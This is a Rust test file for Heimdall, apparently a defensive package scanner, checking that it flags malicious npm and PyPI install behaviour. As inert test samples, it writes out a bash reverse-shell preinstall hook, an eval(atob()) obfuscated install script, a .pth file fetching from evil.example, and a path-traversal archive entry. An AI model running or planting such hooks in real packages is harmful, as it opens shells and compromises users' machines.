guests/static-scan/tests/behavior.rs
// SPDX-License-Identifier: AGPL-3.0-only
//! The behavior check on real package layouts: npm droppers, PyPI droppers,
//! wheels and their .pth hooks, and every way it must say unknown. Heimdall is
//! a defensive sandbox; the droppers are inert text.
mod common;
use common::*;
use heimdall_scan::report::unknown;
use heimdall_scan::{Check, Severity, Verdict};
fn behavior(artifact: &[u8], purl: &str) -> heimdall_scan::CheckResult {
check(
&envelope(artifact, &[]),
&[("purl", purl), ("checks", "behavior")],
Check::Behavior,
)
}
#[test]
fn an_npm_package_whose_postinstall_curls_a_script_is_a_high_dropper_finding() {
let r = behavior(&npm_tgz(NPM_DROPPER), "pkg:npm/evil-pkg@1.0.0");
assert_eq!(r.verdict, Verdict::Findings);
let f = r
.findings
.iter()
.find(|f| f.id == "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL")
.expect("the dropper finding");
assert_eq!(f.severity, Severity::High);
assert_eq!(f.path.as_deref(), Some("package/package.json"));
assert!(has(&r, "MODGUNN-BEHAVIOR-INSTALL-HOOK"));
}
#[test]
fn an_npm_package_with_only_test_and_build_scripts_is_clean() {
assert_clean(&behavior(&npm_tgz(NPM_BENIGN), "pkg:npm/leftpad-ok@1.0.0"));
}
#[test]
fn an_npm_preinstall_reverse_shell_is_high() {
let pj = br#"{"name":"x","scripts":{"preinstall":"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}}"#;
let r = behavior(&npm_tgz(pj), "pkg:npm/x@1.0.0");
let f = r
.findings
.iter()
.find(|f| f.id == "MODGUNN-BEHAVIOR-SENSITIVE-API")
.expect("sensitive API finding");
assert_eq!(f.severity, Severity::High);
}
#[test]
fn an_npm_install_hook_with_a_base64_payload_is_an_obfuscation_finding() {
let payload = "Zm9vYmFyYmF6cXV4MTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFla";
let pj =
format!(r#"{{"name":"x","scripts":{{"install":"node -e \"eval(atob('{payload}'))\""}}}}"#);
let r = behavior(&npm_tgz(pj.as_bytes()), "pkg:npm/x@1.0.0");
assert!(has(&r, "MODGUNN-BEHAVIOR-SENSITIVE-API"), "{:?}", ids(&r));
}
#[test]
fn a_scoped_npm_package_reads_the_same_way() {
let r = behavior(&npm_tgz(NPM_DROPPER), "pkg:npm/%40acme/evil-pkg@1.0.0");
assert!(has(&r, "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"));
}
#[test]
fn a_decoy_package_json_does_not_hide_the_dropper_and_the_duplicate_is_a_finding() {
let art = tgz(&[
T::File(b"package/package.json", NPM_DROPPER),
T::File(b"package/package.json", NPM_BENIGN),
]);
let r = behavior(&art, "pkg:npm/evil-pkg@1.0.0");
assert!(
has(&r, "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
"{:?}",
ids(&r)
);
assert!(
has(&r, "HEIMDALL-SCAN-ARCHIVE-DUPLICATE-NAME"),
"{:?}",
ids(&r)
);
}
#[test]
fn an_npm_package_json_in_another_top_directory_is_read_too() {
let art = tgz(&[T::File(b"node/package.json", NPM_DROPPER)]);
assert!(has(
&behavior(&art, "pkg:npm/evil-pkg@1.0.0"),
"MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"
));
}
#[test]
fn an_npm_tarball_without_a_package_json_is_unknown_not_clean() {
let art = tgz(&[T::File(b"package/index.js", b"1")]);
assert_unknown(&behavior(&art, "pkg:npm/x@1.0.0"), unknown::NO_MANIFEST);
}
#[test]
fn a_package_json_that_is_not_json_is_unknown() {
let art = npm_tgz(b"{ this is not json");
assert_unknown(&behavior(&art, "pkg:npm/x@1.0.0"), unknown::NO_MANIFEST);
}
#[test]
fn a_package_json_that_is_not_utf8_is_unknown() {
let art = npm_tgz(b"{\"name\":\"\xff\xfe\"}");
assert_unknown(&behavior(&art, "pkg:npm/x@1.0.0"), unknown::NO_MANIFEST);
}
#[test]
fn a_package_json_deeper_than_the_top_directory_is_not_the_manifest() {
let art = tgz(&[T::File(
b"package/node_modules/dep/package.json",
NPM_DROPPER,
)]);
assert_unknown(&behavior(&art, "pkg:npm/x@1.0.0"), unknown::NO_MANIFEST);
}
#[test]
fn a_pypi_sdist_whose_setup_py_downloads_and_runs_a_payload_is_a_finding() {
let art = sdist(&[
(b"okpkg-1.0/setup.py", SETUP_DROPPER),
(b"okpkg-1.0/PKG-INFO", b"Name: okpkg\n"),
]);
let r = behavior(&art, "pkg:pypi/okpkg@1.0");
assert_eq!(r.verdict, Verdict::Findings);
assert!(
has(&r, "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
"{:?}",
ids(&r)
);
assert!(r
.findings
.iter()
.any(|f| f.path.as_deref() == Some("okpkg-1.0/setup.py")));
}
#[test]
fn a_pypi_sdist_with_a_plain_setup_py_and_pyproject_is_clean() {
let art = sdist(&[
(b"okpkg-1.0/setup.py", SETUP_BENIGN),
(b"okpkg-1.0/pyproject.toml", PYPROJECT_BENIGN),
]);
assert_clean(&behavior(&art, "pkg:pypi/okpkg@1.0"));
}
#[test]
fn a_declarative_setup_cfg_with_a_homepage_url_is_clean() {
let cfg = b"[metadata]\nname = okpkg\nurl = https://example.org\n\n[options]\ninstall_requires = urllib3\n";
let art = sdist(&[(b"okpkg-1.0/setup.cfg", cfg)]);
// Declarative metadata only: no false positive on the homepage URL.
assert_clean(&behavior(&art, "pkg:pypi/okpkg@1.0"));
}
#[test]
fn a_pypi_sdist_with_no_build_file_is_unknown() {
let art = sdist(&[(b"okpkg-1.0/README", b"hi")]);
assert_unknown(&behavior(&art, "pkg:pypi/okpkg@1.0"), unknown::NO_MANIFEST);
}
#[test]
fn a_zip_sdist_is_read_like_a_tar_sdist() {
let art = zip(&[Z::file(b"okpkg-1.0/setup.py", SETUP_DROPPER)]);
assert!(has(
&behavior(&art, "pkg:pypi/okpkg@1.0"),
"MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"
));
}
#[test]
fn a_plain_wheel_is_clean_because_a_wheel_runs_no_install_code() {
assert_clean(&behavior(&wheel(&[]), "pkg:pypi/okpkg@1.0"));
}
#[test]
fn a_wheel_with_a_pth_file_that_imports_and_fetches_is_a_finding() {
let pth = b"import os, urllib.request; urllib.request.urlopen('https://evil.example/x')\n";
let art = wheel(&[Z::file(b"okpkg-startup.pth", pth)]);
let r = behavior(&art, "pkg:pypi/okpkg@1.0");
assert!(has(&r, "HEIMDALL-SCAN-WHEEL-PTH-EXEC"), "{:?}", ids(&r));
assert!(
has(&r, "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
"{:?}",
ids(&r)
);
}
#[test]
fn a_wheel_pth_file_with_only_paths_is_clean() {
let art = wheel(&[Z::file(b"okpkg.pth", b"./vendored\n# comment\n")]);
assert_clean(&behavior(&art, "pkg:pypi/okpkg@1.0"));
}
#[test]
fn a_setup_py_inside_a_wheel_is_not_install_code() {
let art = wheel(&[Z::file(b"okpkg/setup.py", SETUP_DROPPER)]);
assert_clean(&behavior(&art, "pkg:pypi/okpkg@1.0"));
}
#[test]
fn a_crate_has_no_behavior_reader_and_is_unknown_not_clean() {
assert_unknown(
&behavior(&crate_file(), "pkg:cargo/smallvec@1.6.0"),
unknown::UNSUPPORTED_ECOSYSTEM,
);
}
#[test]
fn an_archive_finding_makes_an_unsupported_ecosystem_a_finding_with_the_reason_kept() {
let art = tgz(&[T::File(b"../evil.rs", b"x")]);
let r = behavior(&art, "pkg:cargo/x@1.0.0");
assert_eq!(r.verdict, Verdict::Findings);
assert_eq!(unknown_code(&r), Some(unknown::UNSUPPORTED_ECOSYSTEM));
}